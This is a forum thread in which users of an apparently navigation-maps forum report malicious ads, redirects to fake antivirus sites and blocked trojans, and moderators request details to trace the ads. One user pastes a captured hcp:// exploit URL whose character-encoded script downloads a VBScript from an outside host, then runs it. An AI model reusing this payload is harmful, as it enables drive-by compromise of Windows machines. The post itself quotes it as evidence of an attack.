This forum has ads that attempt to install malware.

yeah i also use spybot search and destrpy and have a rigid monthly use of malawarebytes.
I pretty clean. I spend most of my time repairing pc's and malware is pretty much 70% of my time.

Excellent. You may want to look at Super Anti-spyware also. They have a free edition.

As good as the forum is, unfortunately it seems riddled with malware. I've lost count of the number of trojans my security has intercepted.

Just opened the TomTom 865.XXX maps thread, didn't click on anything and bang, security (Zonealarm) intercepts attempt to infect computer with trojan "Trojan.JS.Agent.btv". At the same time a nasty little program starts to scan my computer for errors. Internet lock engaged, scanned with superantispyware and malwarebytes.

Two days ago it was "Exploit.JS.Pdfka.der" - I think this was just opening the main page - didn't even have to open a thread.

Come on guys - what gives. This is, without exception, absolutely the worst site I frequent for attempting to cause me problems. Surely you can do something about it!

@TC2

Sorry to hear that you're having problems with navitotal.com but I just want to say there are no viruses or bad stuff here. I'm sure that the admin will read your post and comment on it. Again, sorry!

We are currently in close contact with our ad providers to get a hold of the problem.
In order to be able to confirm malware and locate the offending ads we need some help.

- IP address of the user that viewed the ad (we can check that in our log if you can not provide it)
- Date/time/zone of the viewing (you local date, time and timezone at the time you got an offending ad)
- Ad URL of the problematic ad (the url that came up with the ad)
- Refer URL of the page that the ad was viewed on

Only if we can get these infos it will be possible to check if, and where the offending ads are coming from.
As stated earlier our servers are checked several times a day and clean.
But we will do our best to get to the ground of the problem !

- IP address of the user that viewed the ad (we can check that in our log if you can not provide it)
- Date/time/zone of the viewing (you local date, time and timezone at the time you got an offending ad)
- Ad URL of the problematic ad (the url that came up with the ad)
- Refer URL of the page that the ad was viewed on

OK. I'll try and take more note for any future attempts. Trojan from yesterday is still in quarantine, path shown as "\....Internet Files\Content.IE5\O15Q4JVK\\sc-spyware_com(1).htm". Time was about 20.30 - 21.00 UK. Haven't got anymore info on this.
I've got into the habit of moving the cursor to the very left or right of the page as it loads to make sure I'm not over any Ads - I didn't actually click on any Ads last night.

Same here too,
Had 3 security alerts, one when I first joined, and 2, ten minutes ago. 18.17 UK time
I didnt catch many details about the first two, but the last one said 'offerstatslinedance.com'

IE 8 just blocked this.

metrika2.deeps5.cz.cc

hcp://services/search?query=anything&to ... fomain.htm%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=<script defer>eval(Run(String.fromCharCode(99,109,100,32,47,99,32,101,99,104,111,32,66,61,34,108,46,118,98,115,34,58,87,105,116,104,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,83,88,77,76,50,46,88,77,76,72,84,84,80,34,41,58,46,111,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,109,101,116,114,105,107,97,50,46,100,101,101,112,115,53,46,99,122,46,99,99,47,103,97,109,101,115,47,104,99,112,95,118,98,115,46,112,104,112,63,102,61,49,57,34,44,102,97,108,115,101,58,46,115,101,110,100,40,41,58,83,101,116,32,65,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,58,83,101,116,32,68,61,65,46,67,114,101,97,116,101,84,101,120,116,70,105,108,101,40,65,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32,43,32,66,41,58,68,46,87,114,105,116,101,76,105,110,101,32,46,114,101,115,112,111,110,115,101,84,101,120,116,58,69,110,100,32,87,105,116,104,58,68,46,67,108,111,115,101,58,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,46,82,117,110,32,65,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32,43,32,66,32,62,32,37,84,69,77,80,37,92,92,108,46,118,98,115,32,38,38,32,37,84,69,77,80,37,92,92,108,46,118,98,115,32,38,38,32,116,97,115,107,107,105,108,108,32,47,70,32,47,73,77,32,104,101,108,112,99,116,114,46,101,120,101)));</script>

Followed immediately by a fake antivirus attack from [Please Register or Login to download file]

Face it, you're going to have to dump your advertising provider and get an honest one!

I too having grief trying to download 865 series maps. Can get through to Relink showing the 12 files for download. But the page then goes blank still with Relink web address showing but covered by an advert etc. Also kept being asked to download a windows search program from Navitotal, to which I cancel or shows a windows virus warning which I shutdown with ctrl/alt/delete then ending that task with task manager.

What can be done to stop these intrusions. ????

thanks

And another one, right off the main forum page. [Please Register or Login to download file]

I too having grief trying to download 865 series maps. Can get through to Relink showing the 12 files for download. But the page then goes blank still with Relink web address showing but covered by an advert etc. Also kept being asked to download a windows search program from Navitotal, to which I cancel or shows a windows virus warning which I shutdown with ctrl/alt/delete then ending that task with task manager.

What can be done to stop these intrusions. ????

thanks

We advised our team to not use Relink.us anymore.
As for the advertising problem. Ads is how the server gets paid. Our ads provider is informed about these problems. Hope this is solved very soon.
Know that the team don't like this either. Be assured. We work very hard and in our free time! Those malware issues spoil our hard work.

Meanwhile, in order to track down the offending ads we need as much info as possible:
- IP address of the user that viewed the ad
- Date/time/zone of the viewing
- Ad URL of the problematic ad
- Refer URL of the page that the ad was viewed on

http://www.navitotal.com/forums/showthread.php?4814-This-forum-has-ads-that-attempt-to-install-malware.&goto=newpost

Just went to open the thread " . . .Installing Navcore 9.135 on a Go 940?" using the latest post link on the main TomTom page and was immediately redirected to the following:

"antivirysenligne.com" and got a popup with a "Windows Security " warning suggesting my computer needed scanning.

Time: 19.25 UK.

Note: didn't click on any other link or ad.

Not sure how to give you my IP address or any other info you might use.

7:10 PM mountain time, opened this thread and got redirected to [Please Register or Login to download file]

please each time you got a problem like that, i need a pm, with all details:
- your ip ==> when you don't know ==> [Please Register or Login to download file]
- the time & date
- the url of the ads (Check your browser history for the original url ads...)

Been having problems myself lately. Clicked on a link for latest navcore, and ended up at this page:
[Please Register or Login to download file] .

I think that this redirected from [Please Register or Login to download file] .

IP address is ***.***.*.**.
Date and time and time zone as per this post.

please try to get this sorted guys, its happening more and more

Cheers,

Hotpants



Edit:
I removed your IP
nabi